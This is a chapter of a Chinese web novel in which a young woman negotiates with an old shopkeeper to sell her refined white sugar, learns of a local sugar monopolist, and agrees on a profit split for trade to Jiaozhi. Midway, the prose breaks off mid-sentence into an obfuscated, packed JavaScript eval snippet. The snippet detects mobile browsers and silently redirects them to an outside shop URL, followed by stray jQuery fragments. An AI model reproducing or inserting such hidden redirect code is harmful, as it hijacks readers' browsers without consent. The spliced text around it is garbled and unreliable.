19. 第 19 章
作品:《总督大人他不对劲》 东西制出来了,便要找销路。
温博渊没有在家,她也不好贸然行事,只是同方阿婶打听哪家盐糖铺子最为靠谱。
这点方阿婶很有发言权,要说论起来,比较会做生意的,也就是陈家的盐糖铺子,人老几辈就在这肇庆城做买卖。
称头给的足,还可以赊账,毕竟有那揭不开锅的人家,吃个盐巴,没有铜板,吃不了盐就没劲下地。
陈老掌柜就给赊着,什么时候手头松快了,就在拿来补上就是了。
这般善举,令贾媔大为动容,都说商人无利不起早,可有些商人像是来人间渡苦厄的菩萨,深感这个陈家是自己可以交易的对象。
于是刚下过一阵骤雨,她便撑着油伞出门了。
头些日子韦岚清着实给累着了,看贾媔如同牛马对上黑心老板,能避就避,生怕再给随时拉着做苦力。
恰逢李砚骁归来取温博渊的换季衣衫,便缠闹着要随他往栖霞山小住几日。
贾媔满心都系在绵白糖的销路上,心急如焚,哪有闲情游山玩水?
任凭韦岚清再三邀约,也只是婉言回绝,只嘱她先行前往。若住得舒心,待下次李砚骁下山,再一同赴山。
韦岚清这才一步三回首,跟着李砚骁离去。
临去陈家铺子前,贾媔特意换了件洗得发白的粗布短衫,不仅束了胸,更在腰间缠了一圈粗布,免得腰身线条过于显眼,惹人侧目。
一路踏着湿滑的青石板路而行,鼻间尽是挥之不去的潮腥之气。
虽已来肇庆大半载有余,可她终究难适应当地连绵的阴雨天,床上被褥终日潮润黏腻,周身无处不透着潮气,难熬至极。
怀中青布包裹着好几层油纸,内里正是她耗费三个来月工夫熬制的绵白糖样品。
自那日尝过之后,大家都赞不绝口,直言从未见过这般莹白纯净、毫无杂质的好糖。
贾媔也因此添了几分底气,踌躇多日,终于决定去陈家杂货铺子。
她将此事瞒的紧紧的,就是不想给温博渊添麻烦。对方好心收留,已是恩情,若再劳他耗费人情、疏通门路,未免太过不懂分寸。
立身于世,就当自力更生,决不能为一己生计,拖累旁人。那般行径,绝非报恩,乃是负恩。
位于西门的‘广和糖行’门头几个大字,阴天视线下模糊不清,甚至还有些褪了漆皮,想来这块牌匾也是祖上传下了的。
撑伞打量牌匾之际,铺子里头有个老者声音传来:“姑娘,怕是这雨还得下,且进来我家铺子避避雨。”
刚说完,霹雳吧啦一阵骤雨,砸在头顶的油纸伞上,贾媔也不拖拉客气,抬脚便跨进了门槛。
她小心的收了伞,鼻尖萦绕杂货铺特有的混合杂糅味道,冲着老掌柜呲牙一笑,以示谢意。
今日方阿婶执意让她涂了灰膏,乍看之下,肤色如常年劳作之人般黝黑,瞧着朴实无华,不似异乡女子。
陈成谟怕她拘束,转身入内堂提了一壶煮过的凉茶出来,笑着邀她落座饮茶。
贾媔赶忙双手接过茶碗,不动声色打量眼前老者,此人年约五旬,面容平和,不见风霜,周身一派温厚祥和之气。
“看姑娘面生,不像是本地的吧?”陈承谟抿了口茶,率先开口,“肇庆这天气一到立夏就没个晴日,雨来的又快又密,连江里的船都不出港,这时候冒雨跑出来,想来是定有要事吧?”
贾媔心中暗叹,自己又是自作小聪明了,来了这大靖,古人都有独特的睿智,比如温博渊能一眼洞悉她的难言之隐;又比如这位老掌柜仅凭天气与行止,便辨出她是外乡人,犀利至极。
她不再遮掩,将怀中青布包轻轻推至陈成谟面前,直言道:“不瞒掌柜,我经人引荐而来,家中新熬得一批糖品,特来问问贵铺可愿收购?”言罢,她缓缓打开油纸包,“此物不多,您先先尝一尝。”
陈成谟心中早有揣测,这些年,常有乡民自熬土糖,难寻销路,便寄放于他铺中代卖,换些糊口银钱。
可瞧见这姑娘所拿之糖时,他仍是微怔,此糖色泽莹白如雪,质地不似寻常砂糖粗粝,反倒如云朵般绵软细腻。
他也不推辞,捏了一小撮入口,刹那之间,眼中闪过讶异之色,随即迅速敛去。
只是眉头微不可察地蹙了一瞬,眨眼而逝。
贾媔没来由的心慌,什么都想到了,除了后头这微微的蹙眉,“您可以直言讲,是东西不对吗?”
“东西很好,且是我未曾见过的好。”陈成谟将纸包包好,语气却沉了几分,“老朽走过广州十三行,那里最好的糖都比不上姑娘拿来的这些。照理说,我这铺子收了,准保能卖个好价钱……”
贾媔随即一喜,刚要开口,却稳下心神,“那……您是有什么顾虑?”
却见陈成谟摆了摆手,声音压的极低,“顾虑自然是为了你好,我得劝你一句,这糖你最好别在肇庆本地大张旗鼓的出售。”
贾媔更是疑虑重重,这怎么话说的?好好地怎么就成了不能兜售的了?
明明肇庆是座多元包容的城,她就是想挣点银子花花,怎么就不准了呢。好似被兜头浇了盆冷水,瞬间哀上心头,这世道为何这么难!
她不死心,“您能讲讲为何?我这糖成色好,定价也公道,不会随口要价的。”
陈成谟叹了口气,指了指外头翻涌的雨幕,声音里带了几分无奈,“姑娘怕是不懂行事,做生意的门道可多讲究,就像这雨,一下就是半个多月,就算是雨停了,那腌臜物也在那处冲不干净。”
他顿了顿,往门口望了望,才又叹气,“咱们管糖盐的有个来头十分了得的人,外人都称他魏糖虎,这人挂着肇庆府街牙行总领的名头,把整个两广的糖市都攥在手里……你这糖若是没入他的眼,那还好说,若是名声传扬开来,方子必然保不住。”还有你的人也可能不得好活,被捉去一通逼问,莫说方子,命都攥在人家手里,“两广的糖行、码头、税卡全是他的人。”
贾媔的心沉到谷底,千算万算,感情全大靖都一个吊样,都是当权者占着大头,百姓们甭想冒头。
若是自己不怕死真的冒了头,说不定都没到这个魏糖虎的面前,就被他手底下的小喽啰给吃干抹净了。
好脾气的贾媔愤青的一面出来了,“朗朗乾坤,难不成这天底下就没有治的了他的人?”连零碎都不能卖?好像也不是不能卖,大家卖什么你就卖什么,饿不死就行。
贾媔简直欲哭无泪,这会儿她都不知道去哪找地儿哭去,亏她还和方阿婶以及温良弼打包票,今年让他们带着家人都去盘下来的糖寮子去熬糖。
这还熬个屁,家当都赔完了,由于预判出错,她将粗来的糖寮子给盘下来了,付了一半的身家。
剩下那一半就想进甘蔗呢,这还玩什么。
“也不是……”陈成谟话锋一转,“倒也并非无出路,魏糖虎管得了陆上,管不了水路,更管不了西南的边贸。”
贾媔又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395557|199917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活了,这大喘气,玩什么反转啊老人家,“西南边贸是什么?”不会是走私吧,她可是研究过大靖朝走私的罪名,就算是有温博渊担保,怕也救不了她的小命。
陈成谟实在是被那包绵白糖给甜晕乎脑子,平时教导儿孙要三思而后行,如今全然记不得了,“姑娘可曾听过交趾?那边贵族缺精细吃食,你这糖贩到那头定是能翻一翻落个高价。只需办了内河船引,在衙署那头备城蜜饯果脯就成,魏糖虎的手伸不到那头去。”
交趾啊,如果她地理学的没出错,那地方不就是越南嘛。确实紧挨着大靖,也就是一条内河就到。
贾媔眼睛亮了亮,随即改成她皱眉了,“那……既然这么赚,您如何不贩呢?”
“我倒是想贩,姑娘出个价,将这制糖的方子转卖给我,我也不会亏待姑娘。”
贾媔:“……”怎么又开始以己度人呢,世上还是好人多,她就是老天爷的亲闺女,“可,若是往那处贩,我没那么多本钱买甘蔗。”
这才是她底气不足的地方,真是起起伏伏又一难,买卖来了,但是摊子太大,她没本钱。
温博渊就一两袖清风的小老头,置办家里都是旁人给花钱的,他自己也穷。
怎么好意思问小老头开口,再说这个地界儿也没有贷款的银行啊。
倒是有放印子钱的,但一听光卖个白糖就跟唐僧取经似的,莫说九九八十一难,就是这往出卖的一难她都受不住,抱着赌徒心思借高利贷,那和裸奔有什么区别?
不干!坚决不干。
“若是你能保守秘密,我倒可以帮你解决甘蔗问题。”陈成谟拍了拍胸脯,极力想促成合作,“老朽也在这肇庆乡下收了几十年土产,跟高要、禄步的蔗农都熟。”
贾媔:“……”啊,这么大的馅饼砸头上了?
“不过甘蔗眨眼就到十月底开收,你那扎了多大的摊子?”陈成谟后知后觉想当然,要是走一回货就不是小数量,还没问这丫头那作坊多大呢。
贾媔松了口气,只觉得被这雨季折腾的湿意都少了大半。
对于目前的自己来说,这无疑就是盘大鸡腿,哪有拒绝的理由?
她看着陈成谟消散下去的兴奋劲头,很怕丢了这盘大鸡腿,便夸大那么一点点,“我那糖寮子也就是十几个人,若是黑白二夜不停干,想是一天也能出个百来斤不成问题。”
这个贾媔还真算过,当然是有了很多收益后的场景:砍甘蔗、榨汁、烧火、煮糖、打杂唔得,最少也得一百多斤吧。
“若是这样的话,收甘蔗你不用管,你就安心准备榨汁熬糖,剩下的我来牵头。”
贾媔深知做事不能光讲情怀,利益顶顶重要,“咱们明人不说暗话,您说个公道数,我绝不还价。”
陈成谟笑了笑,赞叹的点了点头,“我知你有过人的制糖手艺,也不想失了秘方。这样,收蔗贩运成本我来出,你只负责最后一道。卖出去的钱你拿七成我三成,你看如何?”
陈成谟也不是什么慈悲为怀的佛祖菩萨,帮忙归帮忙,买卖是买卖。
说实在的,这份绵白糖能这么提的这么纯,无非就是最后一道手头的秘密,整个两广都是做糖的,工序大差不差。
这个分成比贾媔想的要公道的多,还以为对方怎么也得要五成,她连忙起身作揖:“多谢您!这手艺我绝不外传第二家,以后还要多仰仗您照应。”
如此一来,压在贾媔心头的一块石头,就这么狗血的给解开了。

